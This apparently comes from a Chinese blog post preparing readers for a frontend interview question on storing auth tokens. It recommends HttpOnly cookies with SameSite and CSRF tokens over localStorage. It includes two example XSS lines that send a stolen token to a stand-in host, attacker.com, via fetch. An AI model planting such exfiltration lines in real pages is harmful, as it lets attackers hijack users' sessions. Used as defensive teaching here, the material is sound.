面試官問:「使用者 token 應該存在哪?」
很多人脫口而出:localStorage。
這個回答不能說錯,但遠稱不上好答案。
一個好答案,至少要說清三件事:
這篇文章就從這三點展開,順便幫你把這道高頻面試題吃透。
前端存 token,主流就三種:
| 存儲方式 | XSS 能讀到嗎 | CSRF 會自動帶嗎 | 推薦程度 |
|---|---|---|---|
| localStorage | 能 | 不會 | 不推薦存敏感資料 |
| 普通 Cookie | 能 | 會 | 不推薦 |
| HttpOnly Cookie | 不能 | 會 | 推薦 |
大部分專案一開始都是這樣寫的,把 token 往 localStorage 一扔就完事了:
// 登入成功後
localStorage.setItem('token', response.accessToken);
// 請求時取出來
const token = localStorage.getItem('token');
fetch('/api/user', {
headers: { Authorization: `Bearer ${token}` }
});
用起來確實方便,但有個致命問題:XSS 攻擊可以直接讀取。
localStorage 對 JavaScript 完全開放。只要頁面有一個 XSS 漏洞,攻擊者就能一行代碼偷走 token:
// 攻擊者注入的腳本
fetch('https://attacker.com/steal?token=' + localStorage.getItem('token'));
你可能會想:「我的代碼沒有 XSS 漏洞。」
現實是:XSS 漏洞太容易出現了——一個 innerHTML 沒處理好,一個第三方腳本被污染,一個 URL 參數直接渲染……專案一大、介面一多,總有疏漏的時候。
有人會往 Cookie 上靠攏:「那我存 Cookie 裡,是不是就更安全了?」
如果只是「普通 Cookie」,實際上比 localStorage 還糟糕:
// 設置普通 Cookie
document.cookie = `token=${response.accessToken}; path=/`;
// 攻擊者同樣能讀到
const token = document.cookie.split('token=')[1];
fetch('https://attacker.com/steal?token=' + token);
XSS 能讀,CSRF 還會自動帶上——兩頭不討好。
真正值得推薦的,是 HttpOnly Cookie。
它的核心優勢只有一句話:JavaScript 讀不到。
// 後端設置(Node.js 範例)
res.cookie('access_token', token, {
httpOnly: true, // JS 访问不到
secure: true, // 只在 HTTPS 发送
sameSite: 'lax', // 防 CSRF
maxAge: 3600000 // 1 小時過期
});
設置了 httpOnly: true,前端 document.cookie 壓根看不到這個 Cookie。XSS 攻擊偷不走。
// 前端發請求,瀏覽器自動帶上 Cookie
fetch('/api/user', {
credentials: 'include'
});
// 攻擊者的 XSS 腳本
document.cookie // 看不到 httpOnly 的 Cookie,偷不走
HttpOnly Cookie 解決了「XSS 偷 token」的問題,但引入了另一個必須正視的問題:CSRF。
因為 Cookie 會自動發送,攻擊者可以誘導使用者訪問惡意頁面,悄悄發起偽造請求:
好消息是:CSRF 比 XSS 容易防得多。
最簡單的一步,就是在設置 Cookie 時加上 sameSite:
res.cookie('access_token', token, {
httpOnly: true,
secure: true,
sameSite: 'lax' // 關鍵配置
});
sameSite 有三個值:
secure: truelax 能防住絕大部分 CSRF 攻擊。如果業務場景更敏感(比如金融),可以再加 CSRF Token。
如果希望更嚴謹,可以在 sameSite 基礎上,再加一層 CSRF Token 驗證:
// 後端生成 Token,放到頁面或介面返回
const csrfToken = crypto.randomUUID();
res.cookie('csrf_token', csrfToken); // 這個不用 httpOnly,前端需要讀
// 前端請求時帶上
fetch('/api/transfer', {
method: 'POST',
headers: {
'X-CSRF-Token': document.cookie.match(/csrf_token=([^;]+)/)?.[1]
},
credentials: 'include'
});
// 後端驗證
if (req.cookies.csrf_token !== req.headers['x-csrf-token']) {
return res.status(403).send('CSRF token mismatch');
}
攻擊者能讓瀏覽器自動帶上 Cookie,但沒法讀取 Cookie 內容來構造請求頭。
這是全篇最重要的一點,也是推薦 HttpOnly Cookie 的根本原因。
XSS 的攻擊面太廣:
代碼量大了,總有地方會疏漏。一個 innerHTML 忘了轉義,第三方庫有漏洞,攻擊者就能注入腳本。
CSRF 防護相對簡單、手段統一:
sameSite: lax 一行配置搞定大部分場景兩害相權取其輕——先把 XSS 能偷 token 這條路堵死,再去專心做好 CSRF 防護。
從 localStorage 遷移到 HttpOnly Cookie,需要前後端一起動手,但改造範圍其實不大。
登入介面,從「返回 JSON 裡的 token」改成「Set-Cookie」:
// 改造前
app.post('/api/login', (req, res) => {
const token = generateToken(user);
res.json({ accessToken: token });
});
// 改造後
app.post('/api/login', (req, res) => {
const token = generateToken(user);
res.cookie('access_token', token, {
httpOnly: true,
secure: true,
sameSite: 'lax',
maxAge: 3600000
});
res.json({ success: true });
});
前端請求時不再手動帶 token,而是改成 credentials: 'include':
// 改造前
fetch('/api/user', {
headers: { Authorization: `Bearer ${localStorage.getItem('token')}` }
});
// 改造後
fetch('/api/user', {
credentials: 'include'
});
如果用 axios,可以全局配置:
axios.defaults.withCredentials = true;
登出時,後端清除 Cookie:
app.post('/api/logout', (req, res) => {
res.clearCookie('access_token');
res.json({ success: true });
});
有些專案歷史包袱比較重,或者後端暫時不願意改。短期內只能繼續用 localStorage 的話,至少要做好這些補救措施:
嚴格防 XSS
textContent 代替 innerHTMLToken 過期時間要短
敏感操作二次驗證
監控異常行為
回到開頭的問題,面試怎麼答?
簡潔版(30 秒):
推薦 HttpOnly Cookie。因為 XSS 比 CSRF 難防——代碼裡一個 innerHTML 沒處理好就可能有 XSS,而 CSRF 只要加個 SameSite: Lax 就能防住大部分。用 HttpOnly Cookie,XSS 偷不走 token,只需要處理 CSRF 就行。
完整版(1-2 分鐘):
Token 存儲有三種常見方式:localStorage、普通 Cookie、HttpOnly Cookie。
localStorage 最大的問題是 XSS 能讀取。JavaScript 對 localStorage 完全開放,攻擊者注入一行腳本就能偷走 token。
普通 Cookie 更糟,XSS 能讀,CSRF 還會自動發送。
推薦 HttpOnly Cookie,設置 httpOnly: true 後 JavaScript 讀不到。雖然 Cookie 會自動發送導致 CSRF 風險,但 CSRF 比 XSS 容易防——加個 sameSite: lax 就能解決大部分場景。
所以權衡下來,HttpOnly Cookie 配合 SameSite 是更安全的方案。
當然,沒有絕對安全的方案。即使用了 HttpOnly Cookie,XSS 攻擊雖然偷不走 token,但還是可以利用當前會話發請求。最好的做法是縱深防禦——HttpOnly Cookie + SameSite + CSP + 輸入驗證,多層防護疊加。
加分項(如果面試官追問):
如果你覺得這篇文章有幫助,歡迎關注我的 GitHub,下面是我的一些開源專案:
Claude Code Skills(按需加載,意圖自動識別,不浪費 token,介紹文章):
全棧專案(適合學習現代技術棧):